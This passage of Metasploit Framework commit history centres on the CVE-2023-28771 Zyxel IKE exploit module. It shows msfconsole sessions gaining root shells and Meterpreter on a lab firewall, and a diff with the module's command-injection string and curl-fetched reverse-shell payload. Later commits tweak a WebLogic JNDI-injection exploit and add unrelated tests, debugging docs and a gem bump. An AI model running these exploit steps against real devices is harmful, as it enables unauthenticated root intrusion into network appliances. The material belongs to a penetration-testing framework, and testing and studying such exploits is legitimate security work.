---- --------------- -------- ----------- - RHOSTS 192.168.86.40 yes The target host(s), see https://docs.me - tasploit.com/docs/using-metasploit/basi - cs/using-metasploit.html - RPORT 500 yes The target port (UDP) - SSL false no Negotiate SSL for incoming connections - SSLCert no Path to a custom SSL certificate (defau - lt is randomly generated) - URIPATH no The URI to use for this exploit (defaul - t is random) + Name Current Setting Required Description + ---- --------------- -------- ----------- + RHOSTS 192.168.86.40 yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html + RPORT 500 yes The target port (UDP) - When CMDSTAGER::FLAVOR is one of auto,tftp,wget,curl,fetch,lwprequest,psh_invokewebrequest,ftp_http: +Payload options (cmd/linux/http/mips64/meterpreter_reverse_tcp): - Name Current Setting Required Description - ---- --------------- -------- ----------- - SRVHOST 0.0.0.0 yes The local host or network interface to - listen on. This must be an address on t - he local machine or 0.0.0.0 to listen o - n all addresses. - SRVPORT 8080 yes The local port to listen on. - - -Payload options (cmd/unix/reverse_bash): - - Name Current Setting Required Description - ---- --------------- -------- ----------- - LHOST eth0 yes The listen address (an interface may be s - pecified) - LPORT 4444 yes The listen port - - -Exploit target: - - Id Name - -- ---- - 0 Linux Command - - - -View the full module info with the info, or info -d command. - -msf6 exploit(linux/misc/zyxel_ike_decoder_rce_cve_2023_28771) > check -[*] 192.168.86.40:500 - The service is running, but could not be validated. IKE detected but device vendor and service version are unknown. -msf6 exploit(linux/misc/zyxel_ike_decoder_rce_cve_2023_28771) > exploit - -[*] Started reverse TCP handler on 192.168.86.42:4444 -[*] Command shell session 1 opened (192.168.86.42:4444 -> 192.168.86.40:42973) at 2023-05-22 17:34:41 +0100 - -id -uid=0(root) gid=0(root) groups=0(root) -uname -a -Linux usgflex100 3.10.87-rt80-Cavium-Octeon #2 SMP Tue Jan 4 18:13:49 CST 2022 mips64 Cavium Octeon III V0.2 FPU V0.0 ROUTER7000_REF (CN7020p1.2-1200-AAP) GNU/Linux -exit -[*] 192.168.86.40 - Command shell session 1 closed. -msf6 exploit(linux/misc/zyxel_ike_decoder_rce_cve_2023_28771) > -``` - -### Linux Dropper (Zyxel USG FLEX 100) -``` -msf6 > use exploit/linux/misc/zyxel_ike_decoder_rce_cve_2023_28771 -[*] Using configured payload cmd/unix/reverse_bash -msf6 exploit(linux/misc/zyxel_ike_decoder_rce_cve_2023_28771) > set TARGET 1 -TARGET => 1 -msf6 exploit(linux/misc/zyxel_ike_decoder_rce_cve_2023_28771) > set PAYLOAD linux/mips64/meterpreter_reverse_tcp -PAYLOAD => linux/mips64/meterpreter_reverse_tcp -msf6 exploit(linux/misc/zyxel_ike_decoder_rce_cve_2023_28771) > set RHOST 192.168.86.40 -RHOST => 192.168.86.40 -msf6 exploit(linux/misc/zyxel_ike_decoder_rce_cve_2023_28771) > set LHOST eth0 -LHOST => eth0 -msf6 exploit(linux/misc/zyxel_ike_decoder_rce_cve_2023_28771) > set SRVHOST eth0 -SRVHOST => 192.168.86.42 -msf6 exploit(linux/misc/zyxel_ike_decoder_rce_cve_2023_28771) > show options - -Module options (exploit/linux/misc/zyxel_ike_decoder_rce_cve_2023_28771): - - Name Current Setting Required Description - ---- --------------- -------- ----------- - RHOSTS 192.168.86.40 yes The target host(s), see https://docs.me - tasploit.com/docs/using-metasploit/basi - cs/using-metasploit.html - RPORT 500 yes The target port (UDP) - SSL false no Negotiate SSL for incoming connections - SSLCert no Path to a custom SSL certificate (defau - lt is randomly generated) - URIPATH no The URI to use for this exploit (defaul - t is random) - - - When CMDSTAGER::FLAVOR is one of auto,tftp,wget,curl,fetch,lwprequest,psh_invokewebrequest,ftp_http: - - Name Current Setting Required Description - ---- --------------- -------- ----------- - SRVHOST 192.168.86.42 yes The local host or network interface to - listen on. This must be an address on t - he local machine or 0.0.0.0 to listen o - n all addresses. - SRVPORT 8080 yes The local port to listen on. - - -Payload options (linux/mips64/meterpreter_reverse_tcp): - - Name Current Setting Required Description - ---- --------------- -------- ----------- - LHOST eth0 yes The listen address (an interface may be s - pecified) - LPORT 4444 yes The listen port + Name Current Setting Required Description + ---- --------------- -------- ----------- + FETCH_COMMAND CURL yes Command to fetch payload (Accepted: CURL, FTP, TFTP, TNFTP, WGET) + FETCH_DELETE false yes Attempt to delete the binary after execution + FETCH_FILENAME luAxlQjv no Name to use on remote system when storing payload; cannot contain spaces. + FETCH_SRVHOST 192.168.86.42 yes Local IP to use for serving payload + FETCH_SRVPORT 8080 yes Local port to use for serving payload + FETCH_URIPATH no Local URI to use for serving payload + FETCH_WRITABLE_DIR /tmp yes Remote writable dir to store payload; cannot contain spaces. + LHOST 192.168.86.42 yes The listen address (an interface may be specified) + LPORT 4444 yes The listen port Exploit target: Id Name -- ---- - 1 Linux Dropper + 0 Default @@ -166,12 +82,7 @@ msf6 exploit(linux/misc/zyxel_ike_decoder_rce_cve_2023_28771) > check msf6 exploit(linux/misc/zyxel_ike_decoder_rce_cve_2023_28771) > exploit [*] Started reverse TCP handler on 192.168.86.42:4444 -[*] Using URL: http://192.168.86.42:8080/FbXB7q -[*] Client 192.168.86.40 (curl/7.70.0) requested /FbXB7q -[*] Sending payload to 192.168.86.40 (curl/7.70.0) -[*] Meterpreter session 1 opened (192.168.86.42:4444 -> 192.168.86.40:42976) at 2023-05-22 17:36:49 +0100 -[*] Command Stager progress - 100.00% done (112/112 bytes) -[*] Server stopped. +[*] Meterpreter session 1 opened (192.168.86.42:4444 -> 192.168.86.40:48310) at 2023-06-09 09:24:32 +0100 meterpreter > getuid Server username: root @@ -181,9 +92,22 @@ OS : (Linux 3.10.87-rt80-Cavium-Octeon) Architecture : mips64 BuildTuple : mips64-linux-muslsf Meterpreter : mips64/linux +meterpreter > cat /zyinit/fwversion +KERNEL_VERSION=3.10.87 +FIRMWARE_VER=5.20(ABUH.0)520-r102903-k3 +CAPWAP_VER=1.00.04 +COMPATIBLE_PRODUCT_MODEL_0=E15D +COMPATIBLE_PRODUCT_MODEL_1=FFFF +COMPATIBLE_PRODUCT_MODEL_2=FFFF +COMPATIBLE_PRODUCT_MODEL_3=FFFF +COMPATIBLE_PRODUCT_MODEL_4=FFFF +MODEL_ID=USG FLEX 100 +KERNEL_BUILD_DATE=2022-01-04 16:14:50 +BUILD_DATE=2022-01-04 18:13:20 +FSH_VER=1.0.0 meterpreter > exit [*] Shutting down Meterpreter... -[*] 192.168.86.40 - Meterpreter session 1 closed. Reason: User exit +[*] 192.168.86.40 - Meterpreter session 1 closed. Reason: Died msf6 exploit(linux/misc/zyxel_ike_decoder_rce_cve_2023_28771) > ``` diff --git a/modules/exploits/linux/misc/zyxel_ike_decoder_rce_cve_2023_28771.rb b/modules/exploits/linux/misc/zyxel_ike_decoder_rce_cve_2023_28771.rb index 958e241cfb2a6..8a06cc5322962 100644 --- a/modules/exploits/linux/misc/zyxel_ike_decoder_rce_cve_2023_28771.rb +++ b/modules/exploits/linux/misc/zyxel_ike_decoder_rce_cve_2023_28771.rb @@ -6,7 +6,6 @@ class MetasploitModule < Msf::Exploit::Remote Rank = GreatRanking - include Msf::Exploit::CmdStager include Msf::Exploit::Remote::Udp def initialize(info = {}) @@ -32,33 +31,16 @@ def initialize(info = {}) ], 'DisclosureDate' => '2023-03-31', 'Platform' => %w[unix linux], - 'Arch' => [ARCH_CMD, ARCH_MIPS64], + 'Arch' => [ARCH_CMD], 'Privileged' => true, # Code execution as 'root' - 'Targets' => [ - [ - 'Linux Command', - { - 'Type' => :cmd, - 'Platform' => 'unix', - 'Arch' => ARCH_CMD, - 'DefaultOptions' => { - 'PAYLOAD' => 'cmd/unix/reverse_bash' - } - }, - ], - [ - 'Linux Dropper', - { - 'Type' => :dropper, - 'Platform' => 'linux', - 'Arch' => [ARCH_MIPS64], - 'CmdStagerFlavor' => %w[curl wget], - 'DefaultOptions' => { - 'PAYLOAD' => 'linux/mips64/meterpreter_reverse_tcp' - } - } - ], - ], + 'DefaultOptions' => { + # We default to a meterpreter payload delivered via a fetch HTTP adapter. + # Another good payload choice is cmd/unix/reverse_bash. + 'PAYLOAD' => 'cmd/linux/http/mips64/meterpreter_reverse_tcp', + 'FETCH_WRITABLE_DIR' => '/tmp', + 'FETCH_COMMAND' => 'CURL' + }, + 'Targets' => [ [ 'Default', {} ] ], 'DefaultTarget' => 0, 'Notes' => { # The process /sbin/sshipsecpm may crash after we terminate a session, but it will restart. @@ -107,8 +89,8 @@ def check (ikev2_reply[0, 8] == ikev2_header[0, 8]) && # Ensure the 'Next Payload' field is Notification (11) (ikev2_reply[16, 1].unpack('C').first == 11 && - # Ensure the 'Exchange Type' field is Informational (5) - (ikev2_reply[18, 1].unpack('C').first == 5)) && + # Ensure the 'Exchange Type' field is Informational (5) + (ikev2_reply[18, 1].unpack('C').first == 5)) && # Ensure the 'Notify Message Type' field is PAYLOAD-MALFORMED (16) (ikev2_reply[38, 2].unpack('n').first == 16) return CheckCode::Detected('IKE detected but device vendor and service version are unknown.') @@ -118,22 +100,13 @@ def check end def exploit - connect_udp - - case target['Type'] - when :cmd - execute_command(payload.encoded) - when :dropper - execute_cmdstager - end - - disconnect_udp - - handler + execute_command(payload.encoded) end - def execute_command(cmd, _opts = {}) - cmd_injection = "\";#{cmd};echo -n \"" + def execute_command(cmd) + connect_udp + + cmd_injection = "\";bash -c \"#{cmd}\";echo -n \"" # This value is decoded by the packet decoder using a DES-CBC algorithm. The decoded value is written to the # log file. As such the decoded value must not have any null terminator values as these will break our command @@ -162,7 +135,7 @@ def execute_command(cmd, _opts = {}) udp_sock.put(packet) - select(nil, nil, nil, udp_sock.def_read_timeout) + disconnect_udp end end From caba471cfbf750b07afb77a2fb09e6f0eb37e397 Mon Sep 17 00:00:00 2001 From: Metasploit Date: Fri, 9 Jun 2023 08:18:52 -0500 Subject: [PATCH 348/415] automatic module_metadata_base.json update --- db/modules_metadata_base.json | 51 +++++++++++++++++++++++++++++++++++ 1 file changed, 51 insertions(+) diff --git a/db/modules_metadata_base.json b/db/modules_metadata_base.json index d16c4976acb85..537481e8c43b1 100644 --- a/db/modules_metadata_base.json +++ b/db/modules_metadata_base.json @@ -80596,6 +80596,57 @@ "session_types": false, "needs_cleanup": null }, + "exploit_linux/misc/zyxel_ike_decoder_rce_cve_2023_28771": { + "name": "Zyxel IKE Packet Decoder Unauthenticated Remote Code Execution", + "fullname": "exploit/linux/misc/zyxel_ike_decoder_rce_cve_2023_28771", + "aliases": [ + + ], + "rank": 500, + "disclosure_date": "2023-03-31", + "type": "exploit", + "author": [ + "sf " + ], + "description": "This module exploits a remote unauthenticated command injection vulnerability in the Internet Key Exchange\n (IKE) packet decoder over UDP port 500 on the WAN interface of several Zyxel devices. The affected devices are\n as follows: ATP (Firmware version 4.60 to 5.35 inclusive), USG FLEX (Firmware version 4.60 to 5.35 inclusive),\n VPN (Firmware version 4.60 to 5.35 inclusive), and ZyWALL/USG (Firmware version 4.60 to 4.73 inclusive). The\n affected devices are vulnerable in a default configuration and command execution is with root privileges.", + "references": [ + "CVE-2023-28771", + "URL-https://attackerkb.com/topics/N3i8dxpFKS/cve-2023-28771/rapid7-analysis", + "URL-https://www.zyxel.com/global/en/support/security-advisories/zyxel-security-advisory-for-remote-command-injection-vulnerability-of-firewalls" + ], + "platform": "Linux,Unix", + "arch": "cmd", + "rport": 500, + "autofilter_ports": [ + + ], + "autofilter_services": [ + + ], + "targets": [ + "Default" + ], + "mod_time": "2023-06-09 09:36:50 +0000", + "path": "/modules/exploits/linux/misc/zyxel_ike_decoder_rce_cve_2023_28771.rb", + "is_install_path": true, + "ref_name": "linux/misc/zyxel_ike_decoder_rce_cve_2023_28771", + "check": true, + "post_auth": false, + "default_credential": false, + "notes": { + "Stability": [ + "crash-service-restarts" + ], + "Reliability": [ + "repeatable-session" + ], + "SideEffects": [ + "ioc-in-logs" + ] + }, + "session_types": false, + "needs_cleanup": null + }, "exploit_linux/misc/zyxel_multiple_devices_zhttp_lan_rce": { "name": "Zyxel Unauthenticated LAN Remote Code Execution", "fullname": "exploit/linux/misc/zyxel_multiple_devices_zhttp_lan_rce", From 66d2477d626e6ba133eb7e2cc2b9285f12705a6e Mon Sep 17 00:00:00 2001 From: Spencer McIntyre Date: Fri, 9 Jun 2023 09:27:35 -0400 Subject: [PATCH 349/415] Add some tests for NtdsCaSecurityExt --- spec/lib/rex/proto/crypto_asn1_spec.rb | 41 ++++++++++++++++++++++++++ 1 file changed, 41 insertions(+) create mode 100644 spec/lib/rex/proto/crypto_asn1_spec.rb diff --git a/spec/lib/rex/proto/crypto_asn1_spec.rb b/spec/lib/rex/proto/crypto_asn1_spec.rb new file mode 100644 index 0000000000000..7c69dcee8e1c4 --- /dev/null +++ b/spec/lib/rex/proto/crypto_asn1_spec.rb @@ -0,0 +1,41 @@ +# -*- coding:binary -*- +require 'spec_helper' + +RSpec.describe Rex::Proto::CryptoAsn1::NtdsCaSecurityExt do + let(:encoded) do + "\x30\x40\xa0\x3e\x06\x0a\x2b\x06\x01\x04\x01\x82\x37\x19\x02\x01\xa0\x30" + + "\x04\x2e\x53\x2d\x31\x2d\x35\x2d\x32\x31\x2d\x33\x34\x30\x32\x35\x38" + + "\x37\x32\x38\x39\x2d\x31\x34\x38\x38\x37\x39\x38\x35\x33\x32\x2d\x33" + + "\x36\x31\x38\x32\x39\x36\x39\x39\x33\x2d\x31\x31\x30\x35" + end + + describe '.parse' do + let(:decoded) { described_class.parse(encoded) } + + it 'decodes OtherName correctly' do + expect(decoded[:OtherName]).to be_a RASN1::Model + end + + it 'decodes type_id correctly' do + type_id = decoded[:OtherName][:type_id] + expect(type_id).to be_a RASN1::Types::ObjectId + expect(type_id.value).to eq '1.3.6.1.4.1.311.25.2.1' + end + + it 'decodes value correctly' do + value = decoded[:OtherName][:value] + expect(value).to be_a RASN1::Types::OctetString + expect(value.value).to eq 'S-1-5-21-3402587289-1488798532-3618296993-1105' + end + end + + describe '#to_der' do + it 'encodes correctly' do + instance = described_class.new(OtherName: { + type_id: '1.3.6.1.4.1.311.25.2.1', + value: 'S-1-5-21-3402587289-1488798532-3618296993-1105' + }) + expect(instance.to_der).to eq encoded + end + end +end From ae4e616c3bee9e8ce7bf6496ae786200142e2f9d Mon Sep 17 00:00:00 2001 From: Grant Willcox Date: Fri, 2 Jun 2023 12:57:29 -0500 Subject: [PATCH 350/415] Update Navigating-And-Undstanding-Metasploits-Codebase to add new code navigation tools and debugging tools Move debugging info into same file and make markdown match standards Add more info on Pry debugging using Alan David Foster's explaination Fix up broken URL links and format new URL links correctly Fix up formatting and add information on Debug.gem supported commands --- ...-and-Understanding-Metasploits-Codebase.md | 131 ++++++++++++++++-- external/vscode/launch.json | 4 + 2 files changed, 125 insertions(+), 10 deletions(-) diff --git a/docs/metasploit-framework.wiki/Navigating-and-Understanding-Metasploits-Codebase.md b/docs/metasploit-framework.wiki/Navigating-and-Understanding-Metasploits-Codebase.md index e1f47922f2d8a..bbad5cb237427 100644 --- a/docs/metasploit-framework.wiki/Navigating-and-Understanding-Metasploits-Codebase.md +++ b/docs/metasploit-framework.wiki/Navigating-and-Understanding-Metasploits-Codebase.md @@ -1,9 +1,9 @@ +# Overview One of the most important things to learn when first working with Metasploit is how to navigate Metasploit's codebase. However, its often not immediately clear how this should be done. This page aims to explain some of the different approaches that one can take when navigating Metasploit's codebase and provides a primer for learning how Metasploit's codebase is structured. A quick reminder before we get started, but one can always access the Metasploit Slack at . Normally this page should allow you to sign up, however if for any reason you cannot, feel free to shoot an email to msfdev *at* rapid7 *dot* com and we will be happy to send you an invite link. -Metasploit Code Structure ------------------------- +# Metasploit Code Structure A great outline of Metasploit's code structure can be found at , which should be referred to for an overview of Metasploit's code structure. To repeat what is said there there are the following main subdirectories: * **data** - Our general data storage area. Used to store wordlists for use by modules, binaries that are used by exploits, images, and more. @@ -23,25 +23,136 @@ A great outline of Metasploit's code structure can be found at . Note that double quotes are required to match specifically on a certain term; in the previous example this term was `payload.arch`. You can also set the `type=code` parameter to specifically match only on code results, however this can be set to `commits` or `issues` if you want to search commits or issues instead. Finally notice that when searching code, its important to also specify the language of the files you want to match. In the case above I made it so that my results would only match on files deemed by GitHub to contain Ruby code, however you can also specify other languages such as Batch, or C if you want those languages instead. You can even remove the language restriction if you find your search results are too narrow. Another incredibly useful feature of GitHub is the ability to search across all repositories that an organization owns. This is especially useful in Metasploit as certain components, such as Rex code and payload code, may be contained in repositories other than `metasploit-framework`. To search across the public repositories that Rapid7 owns, use a search such as . Note the presence of the `org:rapid7` tag within the previous URL: this tells GitHub to look through all repositories that Rapid7 owns for the term `payload.arch` within any code files. Experiment with these results and play around with GitHub searches more. Over time you will learn where it is useful and where it has its limitations and will be able to determine when it might be better to use an IDE to help understand a piece of code more. -IDE Code Navigation ------------------------- +## SolarGraph Code Navigation +A better way to navigate code, particularly across repos, and also find out where things are defined using an easy to use interface, is SourceGraph from +. The interface is not hard to use and you can find several tutorials over at on how to use it. + +The main benefit of SourceGraph over GitHub is the ability to search all known repositories at once and then easily jump between definitions using either the +online search at , or the GitHub integrated browser plugin from to allow +easy navigation of Metasploit and Rapid7 code from your GitHub PR reviews. + +It is also recommended to review the tutorials and better understand some of the advanced search capabilities of SourceGraph as they do provide some useful search +functionality that is not available or may be harder to perform with GitHub. + +# IDE Code Navigation + +## RubyMine Code Navigation One of the best ways to navigate the codebase within Metasploit is to use RubyMine, available from . Whilst it is a paid tool, it offers a variety of neat referencing finding features such as the ability to right click on a method name and select `Find Usages`, or to right click the method name and select `Go To -> Declaration or Usages` to find all the locations where that method might of been defined within the codebase, which can make tracing complex definitions that wind between library and module code much easier. RubyMine also offers autocompletion and integrates well with many tools such as Git to allow you to quickly switch branches and RuboCop to help provide suggestions on where your code style could be improved. For a cheaper option one can also use VS Code. Note however that VS Code does not have the best autotab completion and will not allow you to trace references, however if your willing to put up with this, it is a much faster and more lightweight product than RubyMine, which makes it great for those times when you just need to edit a piece of code without loading a bunch of related files that you don't need to reference or edit. It also has great regex search features that work much faster than RubyMine, allowing you to search for items within the codebase a lot quicker than you can with RubyMine, which will often seem to stutter at times due to its larger overhead. Ultimately though the tool that you pick should be up to you. Some may prefer to work with vim/nano/emacs or some other command line editor over a GUI interface. Use whatever you can afford and feels comfortable to you! -Pry Debugging ------------------------- -Occasionally, simply reading through Metasploit code may not be helpful. You need to actually get into the weeds and learn what a piece of code is doing. In these cases, it may be helpful to use `pry`, a Ruby Debugger that can be launched at a specific place within your code and which allows you to view the state of the program at that time, make adjustments as needed, and then either step through the program or continue to let it run. A full tutorial on Pry will not be provided here, instead readers are encouraged to read up on the various guides on Pry available online, such as +## SolarGraph Code Navigation - VSCode +We'd be remiss to not mention SolarGraph as a potential plugin that one can use to navigate code within VSCode. This tool +provides a lot of the autocomplete and IntelliSense functionality you might get from dedicated IDEs such as RubyMine, within +VSCode itself. The tool can be installed by running `gem install solargraph-rails` for the Rails integrations, which will +also in turn install `solargraph` itself. If you just want SolarGraph without the Rails integrations, run `gem install solargraph`. + +The configuration file for SolarGraph itself can be found at `.solargraph.yml` within the root directory of Metasploit Framework. +For more information on how this works and how to tweak it, please refer to . + +Once the Gem files have been installed, the next step is to install the VSCode plugin. You can grab it from +. Once this is done, run the following commands +to ensure that SolarGraph is using the most up to date information about your code: + +``` +bundle install # Update all the gems +yard gems # Create documentation files for all the gems. SolarGraph relies on YARD for a lot of info. +yard doc -c # Create YARD docs for all files and use the cache so we don't repeat work (-c option). +solargraph bundle # Update Solargraph documentation for bundled gems +``` + +Then close down VSCode and restart it again, opening up the `metasploit-framework` directory again as a project if needs be. +This should result in the SolarGraph server starting and then taking a few minutes to index your files. Note that this +process may occur every time you open up the `metasploit-framework` project. This is normal and to be expected. + +If you'd like to save yourself some time, you can have YARD automatically generate new documentation for installed Gems +by running `yard config --gem-install-yri` which will configure YARD to automatically generate documentation whenever +new Gems are installed. + +# Debugging Metasploit + +## Pry Debugging +Occasionally, simply reading through Metasploit code may not be helpful. You need to actually get into the weeds and learn +what a piece of code is doing. In these cases, it may be helpful to use `pry`, a Ruby Debugger that can be launched at +a specific place within your code and which allows you to view the state of the program at that time, +make adjustments as needed, and then either step through the program or continue to let it run. + +You can enter into an interactive debugging environment using `pry` by adding the following code +snippet within your Metasploit module or library method: + +```ruby +require 'pry'; binding.pry +``` + +Pry includes inbuilt commands for code navigation: + +- `backtrace`: Show the current call stack +- `up` / `down`: Navigate the call stack +- `step`: Move forward by a single execution step +- `next`: Move forward by a single line +- `whereami`: Show the current breakpoint location again +- `help`: View all of the available commands and options + +Ruby's runtime introspection can be used to view the available methods, classes, and variables within the current Ruby environment: + +- `self`: To find out what the current object is +- `self.methods`: Find all available methods +- `self.methods.grep /send/`: Searching for a particular method that you're interested in. This can be great to explore unknown APIs. +- `self.method(:connect).source_location`: Find out which file, and which line, defined a particular method +- `self.class.ancestors`: For complex modules, this can be useful to see what mixins a Metasploit module is currently using + +To learn more about Pry, we recommend reading GitLab's guide at . + +## Debug.gem Debugging +Ruby 3.1 and later come with `debug.gem` installed automatically, which is the new default debugger for Ruby. It replaces +the old `lib/debug.rb` library that was not actively being maintained and replaces it with a modern debugging library +capable of performing many debugging actions with next to no impact on the performance of the debugged application. + +Whilst RubyMine does not support the `debug.gem` functionality, you can use VSCode to take advantage of `debug.gem` +to get speedy debugging of Ruby scripts from within VSCode itself. Simply install the debugging plugin +from , then go to the Metasploit root directory, +and if you have Bundler installed, run `bundle install`. This will bring in the latest version of the `debug` gem. + +Once this is all done, open the `metasploit-framework` folder from a cloned GitHub copy of Metasploit Framework in VSCode +by using `File->Open Folder`. Then click `Run->Add Configuration->Ruby(rdbg)`. This will create a file at +`/.vscode/launch.json`. Replace the contents of this file with the contents of the file at +. If you wish, you can +optionally change the listening port from `55634` in the script to one of your choice. + +Finally click `Run->Start Debugging` to start debugging Metasploit Framework using VSCode. This may cause a prompt to +appear that looks like `bundle exec ruby /home/tekwizz123/git/metasploit-framework/msfconsole`. Confirm this looks okay +and that you are using `bundle exec ruby` to execute `msfconsole`. If all looks good, hit the `ENTER` key to confirm. +At this point you should see Metasploit Framework open up. + +If you want to prevent this prompt in the future then simply remove the `"askParameters": true,` line from `launch.json`. + +Once in a debugging session, debug.gem supports the same commands as Pry in may cases, so the commands listed in the +Pry section above should work in the same manner. Additionally debug.gem also supports extra commands for things such as +tracing data. For more details refer to the command list at +which provides a detailed list of debug.gem's supported commands. For more information on the VSCode rdbg plugin, +refer to and . + +## RubyMine Debugging +RubyMine comes with its own built in debugger that is based off of the old `lib/debug.rb` library in Ruby, however it +has custom patches and modifications applied to it by the JetBrains team. To set it up, first clone the Git repository +for Metasploit-Framework locally, then go `File->Open` and click on the `metasploit-framework` folder to open it as a project. + +Once this is done, go to `Run->Edit Configurations` and click the plus sign to add a new configuration. Select +`Ruby`, and in the name field, enter a name that makes sense for you, such as `Metasploit Debug`. Under `Ruby Script`, +enter the full path to `msfconsole` on your local machine. Finally, set the SDK to either `Use Project SDK` or select +another Ruby SDK that RubyMine recognizes. + +You can add a Ruby SDK by going to `File->Settings->Languages and Frameworks->Ruby SDK and Gems` and clicking the plus sign. \ No newline at end of file diff --git a/external/vscode/launch.json b/external/vscode/launch.json index 7f16ee0d9df63..333471da7f638 100644 --- a/external/vscode/launch.json +++ b/external/vscode/launch.json @@ -14,6 +14,8 @@ "args": [], "askParameters": true, "localfs": true, + "useBundler": true, + "useTerminal": true, "debugPort": "127.0.0.1:55634" }, { @@ -21,6 +23,8 @@ "name": "Attach with rdbg", "request": "attach", "localfs": true, + "useTerminal": true, + "useBundler": true, "debugPort": "127.0.0.1:55634" } ] From eab324714db23dd0db4aefb0f7961140320fec6d Mon Sep 17 00:00:00 2001 From: Spencer McIntyre Date: Fri, 9 Jun 2023 12:57:02 -0400 Subject: [PATCH 351/415] Update metasploit-payloads gem to 2.0.136 Includes changes from: * rapid7/metasploit-payloads#656 --- Gemfile.lock | 4 ++-- LICENSE_GEMS | 2 +- metasploit-framework.gemspec | 2 +- 3 files changed, 4 insertions(+), 4 deletions(-) diff --git a/Gemfile.lock b/Gemfile.lock index 37d4bcdf9173f..35b2bd0a91866 100644 --- a/Gemfile.lock +++ b/Gemfile.lock @@ -32,7 +32,7 @@ PATH metasploit-concern metasploit-credential metasploit-model - metasploit-payloads (= 2.0.135) + metasploit-payloads (= 2.0.136) metasploit_data_models metasploit_payloads-mettle (= 1.0.20) mqtt @@ -258,7 +258,7 @@ GEM activemodel (~> 7.0) activesupport (~> 7.0) railties (~> 7.0) - metasploit-payloads (2.0.135) + metasploit-payloads (2.0.136) metasploit_data_models (6.0.2) activerecord (~> 7.0) activesupport (~> 7.0) diff --git a/LICENSE_GEMS b/LICENSE_GEMS index 685bf474c9732..48d34c298263f 100644 --- a/LICENSE_GEMS +++ b/LICENSE_GEMS @@ -75,7 +75,7 @@ metasploit-concern, 5.0.1, "New BSD" metasploit-credential, 6.0.5, "New BSD" metasploit-framework, 6.3.21, "New BSD" metasploit-model, 5.0.1, "New BSD" -metasploit-payloads, 2.0.135, "3-clause (or ""modified"") BSD" +metasploit-payloads, 2.0.136, "3-clause (or ""modified"") BSD" metasploit_data_models, 6.0.2, "New BSD" metasploit_payloads-mettle, 1.0.20, "3-clause (or ""modified"") BSD" method_source, 1.0.0, MIT diff --git a/metasploit-framework.gemspec b/metasploit-framework.gemspec index e8aa4d49958bb..e368aa070c3c9 100644 --- a/metasploit-framework.gemspec +++ b/metasploit-framework.gemspec @@ -72,7 +72,7 @@ Gem::Specification.new do |spec| # are needed when there's no database spec.add_runtime_dependency 'metasploit-model' # Needed for Meterpreter - spec.add_runtime_dependency 'metasploit-payloads', '2.0.135' + spec.add_runtime_dependency 'metasploit-payloads', '2.0.136' # Needed for the next-generation POSIX Meterpreter spec.add_runtime_dependency 'metasploit_payloads-mettle', '1.0.20' # Needed by msfgui and other rpc components From 694c1006e41d90812f11c387fadc3707c8356521 Mon Sep 17 00:00:00 2001 From: Grant Willcox Date: Fri, 9 Jun 2023 12:24:35 -0500 Subject: [PATCH 352/415] Add more IPv6 support in to the module --- Gemfile.lock | 2 +- lib/msf/core/exploit/remote/jndi_injection.rb | 2 +- .../multi/iiop/cve_2023_21839_weblogic_rce.rb | 21 ++++++++----------- 3 files changed, 11 insertions(+), 14 deletions(-) diff --git a/Gemfile.lock b/Gemfile.lock index e7dfd6083598b..6acb2795da9ce 100644 --- a/Gemfile.lock +++ b/Gemfile.lock @@ -384,7 +384,7 @@ GEM metasm rex-core rex-text - rex-socket (0.1.51) + rex-socket (0.1.52) rex-core rex-sslscan (0.1.9) rex-core diff --git a/lib/msf/core/exploit/remote/jndi_injection.rb b/lib/msf/core/exploit/remote/jndi_injection.rb index 468b9c5276343..843cac682900e 100644 --- a/lib/msf/core/exploit/remote/jndi_injection.rb +++ b/lib/msf/core/exploit/remote/jndi_injection.rb @@ -29,7 +29,7 @@ def initialize(info = {}) # @return [String] the JNDI string def jndi_string(resource = nil) resource ||= "dc=#{Rex::Text.rand_text_alpha_lower(6)},dc=#{Rex::Text.rand_text_alpha_lower(3)}" - "ldap://#{datastore['SRVHOST']}:#{datastore['SRVPORT']}/#{resource}" + "ldap://#{Rex::Socket.to_authority(datastore['SRVHOST'], datastore['SRVPORT'])}/#{resource}" end ## LDAP service callbacks diff --git a/modules/exploits/multi/iiop/cve_2023_21839_weblogic_rce.rb b/modules/exploits/multi/iiop/cve_2023_21839_weblogic_rce.rb index 5b93099b9233d..a3307eca39763 100644 --- a/modules/exploits/multi/iiop/cve_2023_21839_weblogic_rce.rb +++ b/modules/exploits/multi/iiop/cve_2023_21839_weblogic_rce.rb @@ -299,7 +299,7 @@ def resource_uri # Want to just point this to the base of our install. WebLogic will append *CLASS NAME*.class to the end of # this URL when it tries to fetch the class to be loaded and instantiated. def ldap_url_string - "http#{datastore['SSL'] ? 's' : ''}://#{datastore['SRVHOST']}:#{datastore['HTTP_SRVPORT']}/" + "http#{datastore['SSL'] ? 's' : ''}://#{Rex::Socket.to_authority(datastore['SRVHOST'], datastore['HTTP_SRVPORT'])}/" end # @@ -334,14 +334,7 @@ def start_http_service(opts = {}) netloc = opts['ServerHost'] || bindhost http_srvport = (opts['ServerPort'] || bindport).to_i - if (proto == 'http' && http_srvport != 80) || (proto == 'https' && http_srvport != 443) - if Rex::Socket.is_ipv6?(netloc) - netloc = "[#{netloc}]:#{http_srvport}" - else - netloc = "#{netloc}:#{http_srvport}" - end - end - print_status("Serving Java code on: #{proto}://#{netloc}#{uopts['Path']}") + print_status("Serving Java code on: #{proto}://#{Rex::Socket.to_authority(netloc, http_srvport)}#{uopts['Path']}") # Add path to resource @service_path = uopts['Path'] @@ -404,6 +397,10 @@ def build_ldap_search_response_payload # Main Exploit def exploit + if Rex::Socket.is_ip_addr?(datastore['SRVHOST']) && Rex::Socket.addr_atoi(datastore['SRVHOST']) == 0 + fail_with(Failure::BadConfig, 'SRVHOST must be set to a routable address!') + end + if @version.blank? @version = get_weblogic_version end @@ -411,7 +408,7 @@ def exploit # Step 1 - Make T3 connection to start IIOP connection process, and read response. socket = connect print_status('1. Making T3 connection...') - socket.put("t3 9.2.0.0\nAS:255\nHL:92\nMS:10000000\nPU:t3://#{datastore['RHOST']}:#{datastore['RPORT']}\n\n") + socket.put("t3 9.2.0.0\nAS:255\nHL:92\nMS:10000000\nPU:t3://#{Rex::Socket.to_authority(datastore['RHOST'], datastore['RPORT'])}\n\n") _buf = socket.get disconnect print_good('Made T3 connection!') @@ -490,7 +487,7 @@ def exploit key1 = locate_buf[foff...foff + 8] key2 = "\xff\xff\xff\xff" + locate_buf[foff + 4...foff + 8] - if @version.between?(Rex::Version.new('12.0.0.0.0'), Rex::Version.new('12.9999999.999999.999999.99999')) + if @version >= Rex::Version.new('12') && 